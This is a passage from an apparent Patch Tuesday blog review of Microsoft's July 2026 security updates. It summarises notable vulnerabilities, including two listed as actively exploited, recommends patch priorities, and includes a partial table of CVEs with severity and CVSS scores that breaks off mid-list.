      

    
  


  





  <p class="">The products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase “Windows components” does some pretty heavy lifting here, too, as just about everything you’ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.</p><p class="">So how do we eat this elephant? One byte at a time (pun intended). Let’s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155"><strong>CVE-2026-56155</strong></a><strong> - Active Directory Federation Services Elevation of Privilege Vulnerability<br></strong>This is one of several AD FS being patched this month, but it’s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56154"><strong>CVE-2026-56164</strong></a><strong> - Microsoft SharePoint Server Elevation of Privilege Vulnerability<br></strong>The other bug being exploited in the wild this month is a modest CVSS 5.3 – but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092"><strong>CVE-2026-57092</strong></a><strong> - Microsoft Windows VMSwitch Elevation of Privilege Vulnerability<br></strong>This patch rates the highest CVSS score for the month: a solid 9.9. It’s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn’t alone. If you’re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522"><strong>CVE-2026-50522</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644"><strong>58644</strong></a><strong> - Microsoft SharePoint Remote Code Execution Vulnerability<br></strong>This matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during <a href="https://www.zerodayinitiative.com/blog/2026/5/16/pwn2own-berlin-2026-day-three-results-and-master-of-pwn">Pwn2Own Berlin</a>, so it’s odd to see Microsoft list it as “Exploit Maturity Unknown” since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56190"><strong>CVE-2026-56190</strong></a><strong> - Remote Desktop Protocol Remote Code Execution Vulnerability</strong><br> This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008"><strong>CVE-2026-55008</strong></a><strong> - Microsoft Exchange Server Spoofing Vulnerability<br></strong>Ignore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it’s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session — no attachment needed, no macro warning, just viewing the message does it. If you’re using OWA, test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518"><strong>CVE-2026-50518</strong></a><strong> - Windows DHCP Server Remote Code Execution Vulnerability<br></strong>There are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188"><strong>CVE-2026-56188</strong></a><strong> - Windows Server Network driver Remote Code Execution Vulnerability<br></strong>Another Critical-rated bug, this one is caused by a race condition. It’s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don’t let the race condition lull you to sleep on a wormable bug.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55010"><strong>CVE-2026-55010</strong></a><strong> - Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability<br></strong>File this in the “why not” category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid’s Minecraft server (it is your kid’s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.</p><p class="">Here’s the full list of CVEs released by Microsoft for July 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026-Jul-cvrf.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="920">
 <col width="144">
 <col width="256">
 <col width="104" span="5">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155"><span>CVE-2026-56155</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl70">Yes</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164"><span>CVE-2026-56164</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl70">Yes</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50661"><span>CVE-2026-50661</span></a></td>
  <td width="256" class="xl74">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl70">Yes</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121"><span>CVE-2026-54121</span></a></td>
  <td width="256" class="xl74">Active Directory
  Certificate Services Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45499"><span>CVE-2026-45499 **</span></a></td>
  <td width="256" class="xl74">Azure OpenAI Elevation
  of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48564"><span>CVE-2026-48564</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50370"><span>CVE-2026-50370</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56159"><span>CVE-2026-56159</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50382"><span>CVE-2026-50382</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41106"><span>CVE-2026-41106 **</span></a></td>
  <td width="256" class="xl74">Microsoft 365 Copilot
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26145"><span>CVE-2026-26145 **</span></a></td>
  <td width="256" class="xl74">Microsoft Azure
  Synapse Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">4.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48561"><span>CVE-2026-48561</span></a></td>
  <td width="256" class="xl74">Microsoft Copilot
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55011"><span>CVE-2026-55011</span></a></td>
  <td width="256" class="xl74">Microsoft Defender
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55012"><span>CVE-2026-55012</span></a></td>
  <td width="256" class="xl74">Microsoft Defender
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="96">
  <td class="xl67" height="96"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55944"><span>CVE-2026-55944</span></a></td>
  <td width="256" class="xl74">Microsoft Dynamics NAV
  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code
  Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57100"><span>CVE-2026-57100 **</span></a></td>
  <td width="256" class="xl74">Microsoft Entra
  Provisioning Service Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55041"><span>CVE-2026-55041</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54998"><span>CVE-2026-54998 **</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Online Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008"><span>CVE-2026-55008</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54992"><span>CVE-2026-54992</span></a></td>
  <td width="256" class="xl74">Microsoft Message
  Queuing Queue Manager Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50314"><span>CVE-2026-50314</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50467"><span>CVE-2026-50467</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55018"><span>CVE-2026-55018</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55022"><span>CVE-2026-55022</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55045"><span>CVE-2026-55045</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55049"><span>CVE-2026-55049</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55129"><span>CVE-2026-55129</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55056"><span>CVE-2026-55056</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55140"><span>CVE-2026-55140</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55043"><span>CVE-2026-55043</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55123"><span>CVE-2026-55123</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55120"><span>CVE-2026-55120</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522"><span>CVE-2026-50522</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644"><span>CVE-2026-58644</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040"><span>CVE-2026-55040</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Security Feature Bypass Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54117"><span>CVE-2026-54117</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54118"><span>CVE-2026-54118</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50655"><span>CVE-2026-50655</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56189"><span>CVE-2026-56189</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57090"><span>CVE-2026-57090</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57094"><span>CVE-2026-57094</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57087"><span>CVE-2026-57087</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092"><span>CVE-2026-57092</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  VMSwitch Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55033"><span>CVE-2026-55033</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55127"><span>CVE-2026-55127</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55132"><span>CVE-2026-55132</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55010"><span>CVE-2026-55010</span></a></td>
  <td width="256" class="xl74">Minecraft Bedrock
  Dedicated Server Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50474"><span>CVE-2026-50474</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49164"><span>CVE-2026-49164</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54128"><span>CVE-2026-54128</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518"><span>CVE-2026-50518</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49796"><span>CVE-2026-49796</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50380"><span>CVE-2026-50380</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54127"><span>CVE-2026-54127</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50680"><span>CVE-2026-50680</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50327"><span>CVE-2026-50327</span></a></td>
  <td width="256" class="xl74">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58542"><span>CVE-2026-58542</span></a></td>
  <td width="256" class="xl74">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58608"><span>CVE-2026-58608</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54982"><span>CVE-2026-54982</span></a></td>
  <td width="256" class="xl74">Windows Reliable
  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
